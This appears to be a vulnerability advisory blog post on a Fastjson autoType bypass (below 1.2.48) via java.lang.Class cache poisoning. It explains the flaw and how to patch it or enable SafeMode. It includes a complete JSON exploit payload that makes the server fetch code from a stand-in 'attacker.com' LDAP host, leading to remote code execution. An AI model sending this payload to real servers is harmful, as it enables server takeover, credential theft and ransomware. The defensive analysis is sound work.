Feb 23, 2026·7 min read·12 visits
A critical RCE in Fastjson < 1.2.48. Attackers bypass the 'autoType' whitelist by tricking the library into caching malicious classes via `java.lang.Class`. Actively exploited by botnets to deploy ransomware and miners. CVSS 10.0.
CVE-2025-70974 represents the resurrection of a critical deserialization flaw in Alibaba Fastjson, specifically targeting the bypass mechanism found in versions prior to 1.2.48. While the underlying technique was originally discovered in 2019, this specific identifier tracks a massive resurgence in exploitation by the Androxgh0st botnet in 2025. The vulnerability allows unauthenticated attackers to bypass 'autoType' restrictions via cache poisoning, leading to immediate Remote Code Execution (RCE) via JNDI injection.
Let’s be honest: Java serialization has been the security community’s favorite punching bag for the last decade, and for good reason. But nothing quite captures the chaos like Alibaba's Fastjson. It’s a library built with one singular obsession: speed. It parses JSON faster than you can say "arbitrary code execution." But as we know in the world of software engineering, when you optimize aggressively for performance, you often strip away the safety rails. Fastjson didn't just remove the rails; it greased the track.
The core of the problem lies in a feature called autoType. In the Java world, JSON doesn't naturally map to complex objects unless you tell the parser what it's looking at. Fastjson solved this by allowing a special key, @type, to specify the class name to deserialize. It’s a convenient feature for developers who don't want to write DTO mappings manually. It’s also a convenient feature for hackers who want to instantiate com.sun.rowset.JdbcRowSetImpl and turn your production server into a crypto-mining slave.
CVE-2025-70974 is technically a ghost from the past. It refers to the infamous "1.2.47 bypass," a technique that completely circumvented the security blacklists Alibaba frantically added in earlier versions. Why is it getting a 2025 CVE ID? Because the internet is a graveyard of unpatched software, and the Androxgh0st botnet has been digging up the bodies. This isn't just a bug; it's a lesson in technical debt.
To understand this exploit, you have to understand how Fastjson tried (and failed) to secure autoType. After the initial waves of RCEs, the developers introduced a checkAutoType function. This function acted as a bouncer, checking class names against a hardcoded blacklist. If you tried to load a known dangerous class (like a JNDI gadget), the bouncer would kick you out. Simple enough, right?
However, the developers made a critical optimization error. To avoid checking the blacklist repeatedly for the same class, Fastjson maintains an internal cache called TypeUtils.mappings. The logic in checkAutoType roughly went like this: "If the class is already in the cache, assume it's safe and return it immediately. If it's not in the cache, check the blacklist." Do you see the logic bomb? If an attacker can sneak a malicious class into that cache before the security check runs, the security check is skipped entirely.
The flaw is a classic Time-of-Check to Time-of-Use (TOCTOU) issue, but purely logical. The checkAutoType function trusted the cache implicitly. It assumed that the only way a class could get into the mapping cache was by passing the security check first. They forgot that java.lang.Class—a fundamental Java class that deserializes class names—adds items to that very same cache as a side effect of its operation. It’s like locking your front door but leaving the key under the mat, and then being surprised when a burglar uses the key.
Let's look at the logic that doomed thousands of servers. In ParserConfig.java (prior to 1.2.48), the validation logic contained a fatal shortcut. Here is a simplified view of the vulnerable flow:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
// 1. Check if the class is already in the cache (mapping)
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz != null) {
return clazz; // FATAL: Returns immediately without blacklist check!
}
// 2. If not in cache, check blacklist
if (isBlackMatch(typeName)) {
throw new JSONException("autoType is not support. " + typeName);
}
// ... load class and add to mapping ...
}The bypass relies on java.lang.Class. This class is whitelisted because frameworks need it. When Fastjson deserializes java.lang.Class, it reads the val string (the class name) and loads that class. Crucially, strictly as a side effect of loading it, it puts that class into TypeUtils.mappings.
So, the attacker sends a JSON with two parts. Part A uses java.lang.Class to load com.sun.rowset.JdbcRowSetImpl. This loads the malicious class into the cache. Part B then requests com.sun.rowset.JdbcRowSetImpl directly. The checkAutoType function sees it in the cache, says "Oh, I know you! come right in," and skips the blacklist check. The patch in 1.2.48 finally changed checkAutoType to default autoType to false more aggressively and stopped java.lang.Class from polluting the global cache in this specific way.
The exploit payload for this vulnerability is a thing of beauty in its simplicity. It performs two distinct operations in a single HTTP request. It requires no authentication and works on the default configuration of Fastjson < 1.2.48. Here is the canonical payload causing the havoc:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
}Let's break down the execution flow:
"a". It sees @type: java.lang.Class. It is allowed. It reads val: com.sun.rowset.JdbcRowSetImpl. It loads this class into memory and adds it to the global TypeUtils.mappings cache."b". It sees @type: com.sun.rowset.JdbcRowSetImpl. Usually, this is blacklisted. However, the parser checks the cache first. It finds the entry created in step 1. The blacklist is bypassed.JdbcRowSetImpl object. It sets dataSourceName to the attacker's LDAP server. Finally, it sets autoCommit to true. This setter triggers a connect(), which performs a JNDI lookup to the malicious LDAP server.Below is the attack flow visualized:
A CVSS score of 10.0 is reserved for the absolute worst-case scenarios, and CVE-2025-70974 earns every point. The vulnerability is remotely exploitable (AV:N), requires low complexity (AC:L), needs no privileges (PR:N), and requires no user interaction (UI:N). It affects the confidentiality, integrity, and availability of the system completely (C:H, I:H, A:H).
In the real world, this translates to full server compromise. We aren't talking about a simple denial of service. The Androxgh0st botnet uses this to steal AWS credentials, install crypto miners, and deploy ransomware. Because Fastjson is used pervasively in enterprise Java applications (often hidden deep in dependency trees), the attack surface is massive.
Furthermore, because JNDI injection allows the attacker to execute their code, they can pivot easily. Once inside a DMZ web server, they can use the compromised host to attack internal databases or lateral move into the corporate network. If you are running Fastjson 1.2.47 or lower on a public-facing endpoint, you shouldn't ask if you've been breached, but when.
If you are running Fastjson < 1.2.48, stop reading this and patch. Now. The primary fix is to upgrade to at least 1.2.48, though frankly, you should be on the latest version (1.2.83 at time of writing) or moving to Fastjson v2. The 1.2.48 patch changed the default behavior of checkAutoType and disabled the cache loading behavior for java.lang.Class.
However, the only way to be truly safe from Fastjson's endless stream of deserialization bugs is to enable SafeMode. Introduced in version 1.2.68, SafeMode completely disables the autoType functionality. It turns Fastjson into a dumb JSON parser—which is exactly what it should be.
// Add this to your application startup
ParserConfig.getGlobalInstance().setSafeMode(true);If you cannot upgrade immediately (and you have a death wish), you can try to block requests containing the string com.sun.rowset.JdbcRowSetImpl or java.lang.Class at your WAF level. But be warned: WAF rules are easily bypassed with JSON encoding tricks (e.g., using Unicode escapes \u0063). The code fix is the only guarantee.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Fastjson Alibaba | < 1.2.48 | 1.2.48 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2025-70974 |
| Legacy ID | CNVD-2019-22238 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-829 |
| Attack Vector | Network (Remote) |
| Exploit Status | Weaponized / Active |
| EPSS Score | 0.00032 (Rising) |
The software includes functionality from an untrusted control sphere (deserialization of untrusted data).